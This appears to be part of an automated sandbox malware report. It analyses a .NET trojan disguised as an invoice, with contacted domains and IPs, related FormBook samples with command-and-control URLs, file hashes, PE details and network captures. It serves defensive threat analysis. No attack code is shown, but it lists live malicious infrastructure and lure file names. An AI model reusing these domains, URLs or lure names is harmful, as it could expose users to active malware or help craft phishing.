https://www.namecheap.com/domains/registration/results/?domain=otternaut.live	fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.west.cn/jiaoyi/	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://img.sedoparking.com/templates/images/hero_nc.svg	fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://image.uc.cn/s/uae/g/3o/berg/static/index.442d968fe56a55df4c76.css	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.369a663b08a55d305b97.js	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
8.212.101.233	5mm70f.shop	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
35.227.246.104	www.xn--4gq62f8w1alm9b.xyz	United States	15169	GOOGLEUS	false
136.243.218.18	www.sorenad.com	Germany	24940	HETZNER-ASDE	false
84.32.84.32	aifuturesummit.com	Lithuania	33922	NTT-LT-ASLT	false
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	false
103.120.80.111	www.633922.com	Hong Kong	139021	WEST263GO-HKWest263InternationalLimitedHK	false
91.195.240.123	www.bellcom.media	Germany	47846	SEDO-ASDE	false
162.0.222.119	www.spark-tech-global.xyz	Canada	35893	ACPCA	true
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
199.59.243.225	www.diabloseugene.com	United States	395082	BODIS-NJUS	false
168.76.252.99	www.lxdedu.com	South Africa	265240	ULTRANETSERVICOSEMINTERNETLTDABR	false

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1340403
Start date and time:	2023-11-10 09:26:17 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Invoice_&_SOA_ready_for_dispatch.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@14/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 119 Number of non-executed functions: 279
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
VT rate limit hit for: Invoice_&_SOA_ready_for_dispatch.exe

Simulations

Behavior and APIs

Time	Type	Description
09:27:05	API Interceptor	1x Sleep call for process: Invoice_&_SOA_ready_for_dispatch.exe modified
09:27:53	API Interceptor	10343519x Sleep call for process: fontview.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
136.243.218.18	DHL_Receipt_#9552756186.exe	Get hash	malicious	FormBook	Browse	www.sorenad.com/mfwr/?W01puPf=LTJWGo15CwnFUMIsCmmFPi+fM+G9N87O62/7GHemOkEighpHeH+NhkZmK3bzsqE6vJPkz1dGw+VlCKr/j5+maK11fNnlENBabA==&qd=gjLdkH5hDPjpTT
84.32.84.32	eKlJmvs8k7.exe	Get hash	malicious	FormBook	Browse	www.educationacielouvert.com/o6g2/?GFQH9=MnxtxZhx94M08V70&oZU=eeE/5eW3ZXGgRwI26chcqn1xSUo8zOrK/YCoGUPYT0IETauoLqCq47+7r9TzfQIn64nM
	DHL_Receipt_#9552756186.exe	Get hash	malicious	FormBook	Browse	www.aifuturesummit.com/mfwr/?W01puPf=P71ryz7ikMpVgyvm2xSBDscHWVr1mZ45rI7Cv1ELtHby3r+PHAhlEGECiuR4P5ZSl/+0NvxwbB/G92GYswIabv0DmsrGfv05fA==&qd=gjLdkH5hDPjpTT
	E4Zog9JqbJ.exe	Get hash	malicious	FormBook	Browse	www.ibrahimmallouhi.info/o6g2/?bl=UV4lEjwhm4ULDTx&Exlpi=Yk1h2iok4dCQgi4P2Azu46lvqwDmTlhJYHf5yEFyxvEzGBAu+uP4sjnUIXImLB1ZPk45
	015IXAXaPw.exe	Get hash	malicious	FormBook	Browse	www.mithibites.com/ny02/?Kxlh=Ze2y6jnvQl/Sf9dCeO+i89vkLnZWUn/joApwIgSll0Rf6f1L3mQ7oKJVPNVl+xbnBWD6&nd7LlR=V6kp
	Revised_BL.exe	Get hash	malicious	FormBook	Browse	www.tutorwave.online/udwf/?wfILBX_=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPc3i3LCX8BbVur1Q==&JV5Px=DNL86vYp
	ai0bE8523b3IsUB.exe	Get hash	malicious	FormBook	Browse	www.carcassfeeders.com/ewae/?C6nxVVFP=oST4u2vZ+SFYLx197X0oL4SH0G+6x7D+fSi+GFamgXNlHGJzIeyc8kVi14XGZvYeajTK9G1C1d0DdH9Ap3zkN9rHssk+Kp8KzQ==&IlP=b8NTi2y0
	New Order 134390.exe	Get hash	malicious	FormBook	Browse	www.desidigitaldigest.com/do2u/?7PE4D=_RRl3NNhgbY&VhRx6tr=I0v6VTriP0t2tFFob5UYGn17TZanVEB2XC1BxEndpMugkmtwFb5+cTMw2JOk7hWflXQykkKvEhneaXfOkl9VfBTndQORb1Xlkg==
	Overdue_Payment.exe	Get hash	malicious	FormBook	Browse	www.ghswanhar.com/u0t4/?Jrdd=cFsDUN&wzall4zp=4EteGVMU5QusLCdzaugNCvwCITabj3ivwQTj1x/Wv0fSPBpLzP4ZjqwCxd5WAfB87rYwoEydCHJiwFyGwE64ptcGIfPfEkP1SQ==
	Kwserhekrq.exe	Get hash	malicious	FormBook	Browse	www.victorviera.com/ch4g/?8vUdxvwH=xmXyClK07TMD4aus8mYy3h97p16QlDpw1eau3JgxULpKPH5rIS1wD+LjTXGFO3XQbI+BJFNzngwD3Y/OC1PMdMAJck00c5qli0PxbiDeVCvd&Fp=zBzdkNUhdbKPbn
	AWB_98996910199Clearance_Doc_pdf.exe	Get hash	malicious	FormBook	Browse	www.iengineeringmalls.com/b2ep/?o2TX40=9vtKstlxSKfVj3SVuJfleoiXGKg2mrNFFvbEItqascGQuTC5x1fqs/54iH4y8min3KNVAlzX2SLRqXRUY6ReMbLyNKiHpQDWuppfAQKwlVZd&hPE=CBFH1nihR
	PO_876-1057.exe	Get hash	malicious	FormBook	Browse	www.mindfulpages.online/u6vz/?R8wlm=1TY8Hnd0UPsXMNs&UjPD=/dOOMR+zOAeaHlmZC1hGT7Jed+ZcHoR/n905wDGjq4tEWkOWoJNeTkgKKMwNgApv8NanZj9ZzUhoOz3WaTSepYc/DvdsYozWXw==
	RFQ2610204.exe	Get hash	malicious	FormBook	Browse	www.bestt-shirt.shop/8hbu/?chU=YRttuRYx&2XBTMN=YplWScn7HDOJkoJ1fZ7qd0wkNHfuisI9CSYVE42jZ1EDar4UxtqY9SeKLzNZHp0ztDGwbxEDIumeLStD/xqmmpoYuoPzDyJ21by6jJcJ0xys
	RFQ20102024.exe	Get hash	malicious	FormBook	Browse	www.bestt-shirt.shop/8hbu/?0N=ERvXLBS&qh=YplWScn7HDOJkoJ1fZ7qd0wkNHfuisI9CSYVE42jZ1EDar4UxtqY9SeKLzNZHp0ztDGwbxEDIumeLStD/xqmlrtZn+DzVyApxg==
	Purchase_Order_1021234.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.kesatneup1.fun/re5q/?hpZTh=AaaiXAmOJ1YgWlcrvXrYBNNqzZW4rcaWdbTi91TDdaolB9iZeYCXL5kf86lvVUnMgDS/8zDFhkssjwTk58UsactkRv4tweBzsw==&_dspz=cFv8vzExQX
	Purchase_order.exe	Get hash	malicious	Unknown	Browse	www.victorviera.com/ch4g/?UZ=0Dqx4h&dz0dSR=xmXyClK07TMD4aus8mYy3h97p16QlDpw1eau3JgxULpKPH5rIS1wD+LjTXGFO3XQbI+BJFNzngwD3Y/OC1PNDN1aBVEPcJPX0g==
	hesaphareketi-01.exe	Get hash	malicious	FormBook	Browse	www.ridonestore.shop/coan/?zjV=D+UnKcfj0RBYZLW7mvms/eH5hnRWJCcJV3VuziplscS3jM9Og+RctRmr3V4pTvfRPQ2dOhHIECmunqpOXMFWbcfgm83adco9UMysr93ctXYC&wLC=Y2H4SpI8U2FH447
	doc_20232407993001901.exe	Get hash	malicious	FormBook	Browse	www.ridonestore.shop/coan/?5Uvj7=oD0-msws&4k75sE=D+UnKcfj0RBYZLW7mvms/eH5hnRWJCcJV3VuziplscS3jM9Og+RctRmr3V4pTvfRPQ2dOhHIECmunqpOXMFWcbOv8e/abINmCg==
	WoDN7Q47dO.exe	Get hash	malicious	FormBook	Browse	www.educationacielouvert.com/o6g2/?kDKXx0V=eeE/5eW3ZXGgRwI26chcqn1xSUo8zOrK/YCoGUPYT0IETauoLqCq47+7r+rjcVwi+9ed3TZq2g==&DR-DOL=ixopsp0
	Mzcoqandgnyyyp.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.barsandbands.fun/fadc/?0tWh=L6KlLjtl0Ps0bvRVkG+aTTnpOxfwdkju7qZ7NX9I7As+Us0PL6nojt9t0r9jLRvLxHZo&J43P7=2dg8UxPHi4KTr610
	SecuriteInfo.com.Win32.PWSX-gen.13397.19541.exe	Get hash	malicious	Unknown	Browse	www.victorviera.com/8hbu/?QRqdvJ=q52ylF0KP5a0256QpmfyCQnbPX0ERKejRXVTTgPc0lCCpyWBu/AYyYr/03JCkIgp+AvYqA5ISpDSiXnDTze++JF49RqW7vnhlSSNebzi+KvH&Mfxt=Xjktc0pP

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.diabloseugene.com	Revised_BL.exe	Get hash	malicious	FormBook	Browse	199.59.243.225
5mm70f.shop	Revised_BL.exe	Get hash	malicious	FormBook	Browse	8.212.102.53
www.spark-tech-global.xyz	NNL_PO_1023008.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.0.222.119
www.spark-tech-global.xyz	Revised_BL.exe	Get hash	malicious	FormBook	Browse	162.0.222.119
parkingpage.namecheap.com	DcVDfpyF4G.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	61cQ2AJ5tR.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	j7jbTHWTgi.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Swift#invoice6-15+PO7038.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	INVOICE#20231025.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	C65v45yjPwh3N8G.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_Receipt_#9552756186.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Quotation.xls	Get hash	malicious	FormBook	Browse	91.195.240.19
	file.exe	Get hash	malicious	CryptOne, onlyLogger	Browse	91.195.240.19
	NNL_PO_1023008.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	WFW91621.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	SecuriteInfo.com.Win32.BotX-gen.31536.22198.exe	Get hash	malicious	Amadey, CryptOne	Browse	91.195.240.19
	stvtnhaf3hcj.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Revised_BL.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_On_Demand_Delivery.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	ai0bE8523b3IsUB.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	3swLn9DYp3.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	x8TRXHYzP6.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.195.240.19
	Document.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
www.sorenad.com	DHL_Receipt_#9552756186.exe	Get hash	malicious	FormBook	Browse	136.243.218.18
www.633922.com	Request_List.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.120.80.111

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	Tt4pJQMhy8.elf	Get hash	malicious	Mirai	Browse	47.254.80.131
	FVShYxZJpc.elf	Get hash	malicious	Mirai	Browse	8.220.126.28
	Revised_BL.exe	Get hash	malicious	FormBook	Browse	8.212.102.53
	http://telegram88.cc/	Get hash	malicious	Unknown	Browse	8.218.99.161
	z8kSnLJt9Y.elf	Get hash	malicious	Mirai	Browse	47.90.1.107
	Request_List.exe	Get hash	malicious	FormBook, GuLoader	Browse	8.212.100.138
	apavlH3Bzb.elf	Get hash	malicious	Mirai	Browse	47.244.18.127
	pbl0DZaV58.elf	Get hash	malicious	Okiru	Browse	47.242.154.146
	1u31ptQsf6.elf	Get hash	malicious	Okiru	Browse	8.223.155.226
	tW89v9x9F4.elf	Get hash	malicious	Mirai	Browse	8.223.243.202
	IGCC.exe	Get hash	malicious	AgentTesla	Browse	47.88.189.81
	eOIFF58KfU.elf	Get hash	malicious	Unknown	Browse	8.209.177.134
	https://alihk.steamproxy.cc/	Get hash	malicious	Unknown	Browse	8.217.145.66
	MX9Zd8SQhg.elf	Get hash	malicious	Mirai	Browse	8.216.92.31
	7SyP6X5mqJ.elf	Get hash	malicious	Mirai	Browse	47.250.151.117
	https://test-steamproxy.halo-meta.com/	Get hash	malicious	Unknown	Browse	47.243.196.181
	x86.elf	Get hash	malicious	Mirai	Browse	47.75.94.21
	ChromeInstaller.exe	Get hash	malicious	Unknown	Browse	223.5.5.5
	Purchase_Order_1021234.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	47.57.136.205
	vDXkQEbxeQ.exe	Get hash	malicious	FormBook	Browse	47.57.136.205
HETZNER-ASDE	Doctors_Recommendation.scr.exe	Get hash	malicious	Vidar	Browse	116.203.166.75
	3RlxfJ85zX.exe	Get hash	malicious	SmokeLoader	Browse	95.216.26.247
	aOJ9YfdhD1.elf	Get hash	malicious	Mirai, Moobot	Browse	176.9.213.136
	VJWgBdJtv9.exe	Get hash	malicious	Vidar	Browse	116.203.166.75
	9Irkmiibym.elf	Get hash	malicious	Mirai	Browse	95.217.66.194
	DISTINCTIOjv.js	Get hash	malicious	Unknown	Browse	49.13.31.229
	Go8UUYgt6R.exe	Get hash	malicious	Vidar, zgRAT	Browse	116.203.165.60
	CzDgIz6T8n.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Mystic Stealer, RedLine, SmokeLoader, Vidar	Browse	116.203.165.60
	PDFpower.exe	Get hash	malicious	Unknown	Browse	5.161.217.107
	6TdD4eS6jv.exe	Get hash	malicious	Unknown	Browse	95.216.26.247
	6TdD4eS6jv.exe	Get hash	malicious	Unknown	Browse	95.216.26.247
	PO_44223.exe	Get hash	malicious	FormBook, NSISDropper	Browse	78.46.83.212
	file.exe	Get hash	malicious	Vidar	Browse	116.203.165.60
	SXDK.js	Get hash	malicious	Unknown	Browse	49.13.31.229
	SXDK.js	Get hash	malicious	Unknown	Browse	49.13.31.229
	6hzcUfGfbw.exe	Get hash	malicious	Stealc, Vidar	Browse	128.140.84.205
	SecuriteInfo.com.Win32.TrojanX-gen.22454.32222.exe	Get hash	malicious	Vidar	Browse	116.203.165.60
	2Xrnlai1A1.exe	Get hash	malicious	Unknown	Browse	144.76.136.153
	2Xrnlai1A1.exe	Get hash	malicious	Unknown	Browse	144.76.136.153
	file.exe	Get hash	malicious	PrivateLoader	Browse	148.251.234.83

Process:	C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\2N-F32-85

Download File

Process:	C:\Windows\SysWOW64\fontview.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1211596417522893
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8wH0hL3kWieF:r2qOB1nxCkvSAELyKOMq+8wH0hLUZs
MD5:	0AB67F0950F46216D5590A6A41A267C7
SHA1:	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69
SHA-256:	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
SHA-512:	D19D99A54E7C7C85782D166A3010ABB620B32C7CD6C43B783B2F236492621FDD29B93A52C23B1F4EFC9BF998E1EF1DFEE953E78B28DF1B06C24BADAD750E6DF7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.932532622680427
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Invoice_&_SOA_ready_for_dispatch.exe
File size:	965'632 bytes
MD5:	eea9bf4a16ab377328a59bde0a0c76df
SHA1:	d6015abe7bd2ac246af5656410c7f7c7dc5f5637
SHA256:	fd2ac4af2e4d90f117a8ba49d77cc480f0ad6a8a6cfa7479384d68ce27939f1a
SHA512:	ca360f0d3572e09ca8f737af9137dd44ae0e1cdba25065876bc20fbd92463f1dd532d30e1c008af56dbc6f664107f688f9397ce4a7a75af3dc3bb5c1728b6ba5
SSDEEP:	24576:6JOiQEUDJiJMHCxRCilWY+G348OYyVDWLr3IFE:6RaFKdLWYjECH3I
TLSH:	C82512E5321BA863D5F808FD0511408167F0B0AA3842F3ED6D96B8EE79C7BD24B565CB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c.Me................................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4ed002
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x654DA063 [Fri Nov 10 03:15:47 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xecfa8	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xee000	0x5fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xeb008	0xeb200	False	0.932915711390218	data	7.937047832644545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xee000	0x5fc	0x600	False	0.4401041666666667	data	4.161409298913876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf0000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xee0a0	0x3a8	data			0.4155982905982906
RT_MANIFEST	0xee448	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2023 09:27:28.974637032 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.170547009 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.170706034 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.171799898 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.367506027 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.367919922 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.367961884 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368074894 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368112087 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368136883 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.368148088 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368185997 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368223906 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368253946 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.368259907 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368290901 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.368295908 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:29.368319035 CET	49714	80	192.168.2.10	84.32.84.32
